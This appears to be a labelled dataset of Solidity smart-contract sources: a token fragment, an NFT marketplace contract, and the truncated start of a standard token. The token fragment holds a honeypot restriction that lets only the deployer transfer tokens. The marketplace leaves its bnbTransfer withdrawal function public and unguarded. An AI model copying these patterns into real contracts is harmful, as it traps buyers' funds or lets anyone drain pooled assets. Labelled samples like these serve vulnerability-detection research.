_mint(msg.sender, 100000000 * (10 ** uint256(decimals()))); allowed[msg.sender] = true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(allowed[sender] == true); return super.transferFrom(sender, recipient, amount); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-12 */ /** *Submitted for verification at Etherscan.io on 2021-11-01 */ /** *Submitted for verification at Etherscan.io on 2021-10-30 */ // File: contracts/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ // constructor () internal { // _owner = msg.sender; // emit OwnershipTransferred(address(0), _owner); // } function ownerInit() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address recipient, uint256 amount) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function blindBox(address seller, string calldata tokenURI, bool flag, address to, string calldata ownerId) external returns (uint256); function mintAliaForNonCrypto(uint256 price, address from) external returns (bool); function nonCryptoNFTVault() external returns(address); function mainPerecentage() external returns(uint256); function authorPercentage() external returns(uint256); function platformPerecentage() external returns(uint256); function updateAliaBalance(string calldata stringId, uint256 amount) external returns(bool); function getSellDetail(uint256 tokenId) external view returns (address, uint256, uint256, address, uint256, uint256, uint256); function getNonCryptoWallet(string calldata ownerId) external view returns(uint256); function getNonCryptoOwner(uint256 tokenId) external view returns(string memory); function adminOwner(address _address) external view returns(bool); function getAuthor(uint256 tokenIdFunction) external view returns (address); function _royality(uint256 tokenId) external view returns (uint256); function getrevenueAddressBlindBox(string calldata info) external view returns(address); function getboxNameByToken(uint256 token) external view returns(string memory); //Revenue share function addNonCryptoAuthor(string calldata artistId, uint256 tokenId, bool _isArtist) external returns(bool); function transferAliaArtist(address buyer, uint256 price, address nftVaultAddress, uint256 tokenId ) external returns(bool); function checkArtistOwner(string calldata artistId, uint256 tokenId) external returns(bool); function checkTokenAuthorIsArtist(uint256 tokenId) external returns(bool); function withdraw(uint) external; function deposit() payable external; // function approve(address spender, uint256 rawAmount) external; // BlindBox ref:https://noborderz.slack.com/archives/C0236PBG601/p1633942033011800?thread_ts=1633941154.010300&cid=C0236PBG601 function isSellable (string calldata name) external view returns(bool); function tokenURI(uint256 tokenId) external view returns (string memory); function ownerOf(uint256 tokenId) external view returns (address); function burn (uint256 tokenId) external; } // File: contracts/INFT.sol pragma solidity ^0.5.0; // import "../openzeppelin-solidity/contracts/token/ERC721/IERC721Full.sol"; interface INFT { function transferFromAdmin(address owner, address to, uint256 tokenId) external; function mintWithTokenURI(address to, string calldata tokenURI) external returns (uint256); function getAuthor(uint256 tokenIdFunction) external view returns (address); function updateTokenURI(uint256 tokenIdT, string calldata uriT) external; // function mint(address to, string calldata tokenURI) external returns (uint256); function transferOwnership(address newOwner) external; function ownerOf(uint256 tokenId) external view returns(address); function transferFrom(address owner, address to, uint256 tokenId) external; } // File: contracts/IFactory.sol pragma solidity ^0.5.0; contract IFactory { function create(string calldata name_, string calldata symbol_, address owner_) external returns(address); function getCollections(address owner_) external view returns(address [] memory); } // File: contracts/LPInterface.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface LPInterface { /** * @dev Returns the amount of tokens in existence. */ function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: contracts/Proxy/DexStorage.sol pragma solidity ^0.5.0; /////////////////////////////////////////////////////////////////////////////////////////////////// /** * @title DexStorage * @dev Defining dex storage for the proxy contract. */ /////////////////////////////////////////////////////////////////////////////////////////////////// contract DexStorage { using SafeMath for uint256; address x; // dummy variable, never set or use its value in any logic contracts. It keeps garbage value & append it with any value set on it. IERC20 ALIA; INFT XNFT; IFactory factory; IERC20 OldNFTDex; IERC20 BUSD; IERC20 BNB; struct RDetails { address _address; uint256 percentage; } struct AuthorDetails { address _address; uint256 royalty; string ownerId; bool isSecondry; } // uint256[] public sellList; // this violates generlization as not tracking tokenIds agains nftContracts/collections but ignoring as not using it in logic anywhere (uncommented) mapping (uint256 => mapping(address => AuthorDetails)) internal _tokenAuthors; mapping (address => bool) public adminOwner; address payable public platform; address payable public authorVault; uint256 internal platformPerecentage; struct fixedSell { // address nftContract; // adding to support multiple NFT contracts buy/sell address seller; uint256 price; uint256 timestamp; bool isDollar; uint256 currencyType; } // stuct for auction struct auctionSell { address seller; address nftContract; address bidder; uint256 minPrice; uint256 startTime; uint256 endTime; uint256 bidAmount; bool isDollar; uint256 currencyType; // address nftAddress; } // tokenId => nftContract => fixedSell mapping (uint256 => mapping (address => fixedSell)) internal _saleTokens; mapping(address => bool) public _supportNft; // tokenId => nftContract => auctionSell mapping(uint256 => mapping ( address => auctionSell)) internal _auctionTokens; address payable public nonCryptoNFTVault; // tokenId => nftContract => ownerId mapping (uint256=> mapping (address => string)) internal _nonCryptoOwners; struct balances{ uint256 bnb; uint256 Alia; uint256 BUSD; } mapping (string => balances) internal _nonCryptoWallet; LPInterface LPAlia; LPInterface LPBNB; uint256 public adminDiscount; address admin; mapping (string => address) internal revenueAddressBlindBox; mapping (uint256=>string) internal boxNameByToken; bool public collectionConfig; uint256 public countCopy; mapping (uint256=> mapping( address => mapping(uint256 => bool))) _allowedCurrencies; IERC20 token; // struct offer { // address _address; // string ownerId; // uint256 currencyType; // uint256 price; // } // struct offers { // uint256 count; // mapping (uint256 => offer) _offer; // } // mapping(uint256 => mapping(address => offers)) _offers; uint256[] allowedArray; } // File: contracts/FixPriceDex.sol pragma solidity ^0.5.0; contract FixPriceDex is Ownable, DexStorage { event SellNFT(address indexed from, address nft_a, uint256 tokenId, address seller, uint256 price, uint256 royalty, uint256 baseCurrency, uint256[] allowedCurrencies); event BuyNFT(address indexed from, address nft_a, uint256 tokenId, address buyer, uint256 price, uint256 baseCurrency, uint256 calculated, uint256 currencyType); event CancelSell(address indexed from, address nftContract, uint256 tokenId); event UpdatePrice(address indexed from, uint256 tokenId, uint256 newPrice, bool isDollar, address nftContract, uint256 baseCurrency, uint256[] allowedCurrencies); event BuyNFTNonCrypto( address indexed from, address nft_a, uint256 tokenId, string buyer, uint256 price, uint256 baseCurrency, uint256 calculated, uint256 currencyType); event SellNFTNonCrypto( address indexed from, address nft_a, uint256 tokenId, string seller, uint256 price, uint256 baseCurrency, uint256[] allowedCurrencies); event MintWithTokenURINonCrypto(address indexed from, string to, string tokenURI, address collection); event TransferPackNonCrypto(address indexed from, string to, uint256 tokenId); event updateTokenEvent(address to,uint256 tokenId, string uriT); event updateDiscount(uint256 amount); event Collection(address indexed creater, address collection, string name, string symbol); event CollectionsConfigured(address indexed xCollection, address factory); event MintWithTokenURI(address indexed collection, uint256 indexed tokenId, address minter, string tokenURI); // event Offer(uint256 tokenId, address indexed from, uint256 currencyType, uint256 offer, uint256 index); modifier onlyAdminMinter() { require(msg.sender==admin); _; } function() external payable {} function updateSellDetail(uint256 tokenId) internal { (address seller, uint256 price, uint256 endTime, address bidder, uint256 minPrice, uint256 startTime, uint256 isDollar) = OldNFTDex.getSellDetail(tokenId); if(minPrice == 0){ _saleTokens[tokenId][address(XNFT)].seller = seller; _saleTokens[tokenId][address(XNFT)].price = price; _saleTokens[tokenId][address(XNFT)].timestamp = endTime; if(isDollar == 1){ _saleTokens[tokenId][address(XNFT)].isDollar = true; } _allowedCurrencies[tokenId][address(XNFT)][isDollar] = true; if(seller == nonCryptoNFTVault){ string memory ownerId = OldNFTDex.getNonCryptoOwner(tokenId); _nonCryptoOwners[tokenId][address(XNFT)] = ownerId; _nonCryptoWallet[ownerId].Alia = OldNFTDex.getNonCryptoWallet(ownerId); } } else { _auctionTokens[tokenId][address(XNFT)].seller = seller; _auctionTokens[tokenId][address(XNFT)].nftContract = address(this); _auctionTokens[tokenId][address(XNFT)].minPrice = minPrice; _auctionTokens[tokenId][address(XNFT)].startTime = startTime; _auctionTokens[tokenId][address(XNFT)].endTime = endTime; _auctionTokens[tokenId][address(XNFT)].bidder = bidder; _auctionTokens[tokenId][address(XNFT)].bidAmount = price; if(seller == nonCryptoNFTVault ){ string memory ownerId = OldNFTDex.getNonCryptoOwner(tokenId); _nonCryptoOwners[tokenId][address(XNFT)] = ownerId; _nonCryptoWallet[ownerId].Alia = OldNFTDex.getNonCryptoWallet(ownerId); _auctionTokens[tokenId][address(XNFT)].isDollar = true; } } } // modifier to check if given collection is supported by DEX modifier isValid( address collection_) { require(_supportNft[collection_],"unsupported collection"); _; } function sellNFT(address nft_a,uint256 tokenId, address seller, uint256 price, uint256 baseCurrency, uint256[] memory allowedCurrencies) isValid(nft_a) public{ require(msg.sender == admin || (msg.sender == seller && INFT(nft_a).ownerOf(tokenId) == seller), "101"); // string storage boxName = boxNameByToken[tokenId]; uint256 royality; require(baseCurrency <= 1, "121"); // require(revenueAddressBlindBox[boxName] == address(0x0) || IERC20(0x313Df3fE7c83d927D633b9a75e8A9580F59ae79B).isSellable(boxName), "112"); bool isValid = true; for(uint256 i = 0; i< allowedCurrencies.length; i++){ if(allowedCurrencies[i] > 1){ isValid = false; } _allowedCurrencies[tokenId][nft_a][allowedCurrencies[i]] = true; } require(isValid,"122"); _saleTokens[tokenId][nft_a].seller = seller; _saleTokens[tokenId][nft_a].price = price; _saleTokens[tokenId][nft_a].timestamp = now; // _saleTokens[tokenId][nft_a].isDollar = isDollar; _saleTokens[tokenId][nft_a].currencyType = baseCurrency; // need to check if it voilates generalization // sellList.push(tokenId); // dealing special case of escrowing for xanalia collection i.e XNFT if(nft_a == address(XNFT)){ msg.sender == admin ? XNFT.transferFromAdmin(seller, address(this), tokenId) : XNFT.transferFrom(seller, address(this), tokenId); royality = _tokenAuthors[tokenId][nft_a].royalty; } else { INFT(nft_a).transferFrom(seller, address(this), tokenId); royality = 0; // making it zero as not setting royality for user defined collection's NFT } emit SellNFT(msg.sender, nft_a, tokenId, seller, price, royality, baseCurrency, allowedCurrencies); } //mint & sell own/xanalia collection only function MintAndSellNFT(address to, string memory tokenURI, uint256 price, string memory ownerId, uint256 royality, uint256 currencyType, uint256[] memory allowedCurrencies) public { uint256 tokenId; tokenId = XNFT.mintWithTokenURI(to,string(abi.encodePacked("https://ipfs.infura.io:5001/api/v0/cat?arg=", tokenURI))); emit MintWithTokenURI(address(XNFT), tokenId, msg.sender, tokenURI); if(royality > 0) _tokenAuthors[tokenId][address(XNFT)].royalty = royality; else _tokenAuthors[tokenId][address(XNFT)].royalty = 25; sellNFT(address(XNFT), tokenId, to, price, currencyType, allowedCurrencies); _tokenAuthors[tokenId][address(XNFT)]._address = msg.sender; if(msg.sender == admin) adminOwner[to] = true; if(msg.sender == nonCryptoNFTVault){ emit MintWithTokenURINonCrypto(msg.sender, ownerId, tokenURI, address(XNFT)); _nonCryptoOwners[tokenId][address(XNFT)] = ownerId; _tokenAuthors[tokenId][address(XNFT)].ownerId = ownerId; emit SellNFTNonCrypto(msg.sender, address(XNFT), tokenId, ownerId, price, currencyType, allowedCurrencies); } } function Mint(address to, string memory tokenURI, uint256 royality, string memory ownerId) public { uint256 tokenId; tokenId = XNFT.mintWithTokenURI(to,string(abi.encodePacked("https://ipfs.infura.io:5001/api/v0/cat?arg=", tokenURI))); emit MintWithTokenURI(address(XNFT), tokenId, msg.sender, tokenURI); if(royality > 0) _tokenAuthors[tokenId][address(XNFT)].royalty = royality; else _tokenAuthors[tokenId][address(XNFT)].royalty = 25; _tokenAuthors[tokenId][address(XNFT)]._address = msg.sender; if(msg.sender == admin) adminOwner[to] = true; if(msg.sender == nonCryptoNFTVault){ emit MintWithTokenURINonCrypto(msg.sender, ownerId, tokenURI, address(XNFT)); _nonCryptoOwners[tokenId][address(XNFT)] = ownerId; _tokenAuthors[tokenId][address(XNFT)].ownerId = ownerId; } } // added nftContract param in function to support generalization function cancelSell(address nftContract, uint256 tokenId) isValid(nftContract) public{ require(_saleTokens[tokenId][nftContract].seller == msg.sender || _auctionTokens[tokenId][nftContract].seller == msg.sender, "101"); if(_saleTokens[tokenId][nftContract].seller != address(0)){ // _transferFrom(address(this), _saleTokens[tokenId].seller, tokenId); INFT(nftContract).transferFrom(address(this), _saleTokens[tokenId][nftContract].seller, tokenId); delete _saleTokens[tokenId][nftContract]; }else { require(_auctionTokens[tokenId][nftContract].bidder == address(0),"109"); INFT(nftContract).transferFrom(address(this), msg.sender, tokenId); delete _auctionTokens[tokenId][nftContract]; } emit CancelSell(msg.sender, nftContract, tokenId); } // added nftContract param in function to support generalization function getSellDetail(address nftContract, uint256 tokenId) public view returns (address, uint256, uint256, address, uint256, uint256, bool, uint256) { fixedSell storage abc = _saleTokens[tokenId][nftContract]; auctionSell storage def = _auctionTokens[tokenId][nftContract]; if(abc.seller != address(0)){ uint256 salePrice = abc.price; return (abc.seller, salePrice , abc.timestamp, address(0), 0, 0,abc.isDollar, abc.currencyType); }else{ return (def.seller, def.bidAmount, def.endTime, def.bidder, def.minPrice, def.startTime, def.isDollar, def.currencyType); } } // added nftContract param in function to support generalization function updatePrice(address nftContract, uint256 tokenId, uint256 newPrice, uint256 baseCurrency, uint256[] memory allowedCurrencies) isValid(nftContract) public{ require(msg.sender == _saleTokens[tokenId][nftContract].seller || _auctionTokens[tokenId][nftContract].seller == msg.sender, "110"); require(newPrice > 0 ,"111"); if(_saleTokens[tokenId][nftContract].seller != address(0)){ require(newPrice > 0,"121"); bool isValid = true; _allowedCurrencies[tokenId][nftContract][0]=false; _allowedCurrencies[tokenId][nftContract][1]=false; for(uint256 i = 0; i< allowedCurrencies.length; i++){ if(allowedCurrencies[i] > 1){ isValid = false; } _allowedCurrencies[tokenId][nftContract][allowedCurrencies[i]] = true; } require(isValid,"122"); _saleTokens[tokenId][nftContract].price = newPrice; _saleTokens[tokenId][nftContract].currencyType = baseCurrency; }else{ _auctionTokens[tokenId][nftContract].minPrice = newPrice; _auctionTokens[tokenId][nftContract].currencyType = baseCurrency; } emit UpdatePrice(msg.sender, tokenId, newPrice, false, nftContract, baseCurrency, allowedCurrencies); // added nftContract here as well } function calculatePrice(uint256 _price, uint256 base, uint256 currencyType, uint256 tokenId, address seller, address nft_a) public view returns(uint256 price) { price = _price; (uint112 _reserve0, uint112 _reserve1,) =LPBNB.getReserves(); if(nft_a == address(XNFT) && _tokenAuthors[tokenId][address(XNFT)]._address == admin && adminOwner[seller] && adminDiscount > 0){ // getAuthor() can break generalization if isn't supported in Collection.sol. SOLUTION: royality isn't paying for user-defined collections price = _price- ((_price * adminDiscount) / 1000); } if(currencyType == 0 && base == 1){ price = SafeMath.div(SafeMath.mul(price,SafeMath.mul(_reserve1,1000000000000)),_reserve0); } else if(currencyType == 1 && base == 0){ price = SafeMath.div(SafeMath.mul(price,_reserve0),SafeMath.mul(_reserve1,1000000000000)); } } function getPercentages(uint256 tokenId, address nft_a) public view returns(uint256 mainPerecentage, uint256 authorPercentage, address blindRAddress) { if(_tokenAuthors[tokenId][nft_a].royalty > 0 && nft_a == address(XNFT)) { // royality for XNFT only (non-user defined collection) mainPerecentage = SafeMath.sub(SafeMath.sub(1000,_tokenAuthors[tokenId][nft_a].royalty),platformPerecentage); //50 authorPercentage = _tokenAuthors[tokenId][nft_a].royalty; } else { mainPerecentage = SafeMath.sub(1000, platformPerecentage); } blindRAddress = revenueAddressBlindBox[boxNameByToken[tokenId]]; if(blindRAddress != address(0x0)){ mainPerecentage = 865; authorPercentage =135; } } function buyNFT(address nft_a,uint256 tokenId, string memory ownerId, uint256 currencyType) isValid(nft_a) public{ fixedSell storage temp = _saleTokens[tokenId][nft_a]; require(temp.price > 0, "108"); require(_allowedCurrencies[tokenId][nft_a][currencyType] && currencyType != 1, "123"); uint256 price = calculatePrice(temp.price, temp.currencyType, currencyType, tokenId, temp.seller, nft_a); (uint256 mainPerecentage, uint256 authorPercentage, address blindRAddress) = getPercentages(tokenId, nft_a); price = SafeMath.div(price,1000000000000); BUSD.transferFrom(msg.sender, platform, (price / 1000) * platformPerecentage); if( nft_a == address(XNFT)) { BUSD.transferFrom(msg.sender,blindRAddress, (price / 1000) *authorPercentage ); } BUSD.transferFrom(msg.sender, temp.seller, (price / 1000) * mainPerecentage); clearMapping(tokenId, nft_a, temp.price, temp.currencyType, price, currencyType); } function buyNFTBnb(address nft_a,uint256 tokenId, string memory ownerId) isValid(nft_a) payable public{ fixedSell storage temp = _saleTokens[tokenId][nft_a]; // AuthorDetails storage author = _tokenAuthors[tokenId][address(XNFT)]; require(_allowedCurrencies[tokenId][nft_a][1], "123"); require(msg.sender != nonCryptoNFTVault, "125"); require(temp.price > 0 , "108"); uint256 price = calculatePrice(temp.price, temp.currencyType, 1, tokenId, temp.seller, nft_a); (uint256 mainPerecentage, uint256 authorPercentage, address blindRAddress) = getPercentages(tokenId, nft_a); uint256 before_bal = BNB.balanceOf(address(this)); BNB.deposit.value(msg.value)(); uint256 after_bal = BNB.balanceOf(address(this)); require(price == (after_bal - before_bal), "NFT 108"); if(blindRAddress == address(0x0)) { blindRAddress = _tokenAuthors[tokenId][nft_a]._address; bnbTransfer(platform, platformPerecentage, price); } if( nft_a == address(XNFT)) { bnbTransfer(blindRAddress, authorPercentage, price); } bnbTransfer(temp.seller, mainPerecentage, price); clearMapping(tokenId, nft_a, temp.price, temp.currencyType, price, 1 ); // in first argument there should seller not buyer/msg.sender, is it intentional ?? } function clearMapping(uint256 tokenId, address nft_a, uint256 price, uint256 baseCurrency, uint256 calcultated, uint256 currencyType ) internal { INFT(nft_a).transferFrom(address(this), msg.sender, tokenId); delete _saleTokens[tokenId][nft_a]; for(uint256 i = 0; i <=2 ; i++) { _allowedCurrencies[tokenId][nft_a][i] = false; } // _allowedCurrencies[tokenId][1] = false; // _allowedCurrencies[tokenId][2] = false; emit BuyNFT(msg.sender, nft_a, tokenId, msg.sender, price, baseCurrency, calcultated, currencyType); } function bnbTransfer(address _address, uint256 percentage, uint256 price) public { address payable newAddress = address(uint160(_address)); uint256 initialBalance; uint256 newBalance; initialBalance = address(this).balance; BNB.withdraw((price / 1000) * percentage); newBalance = address(this).balance.sub(initialBalance); newAddress.transfer(newBalance); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-03-24 */ /** *Submitted for verification at Etherscan.io on 2022-03-05 */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * 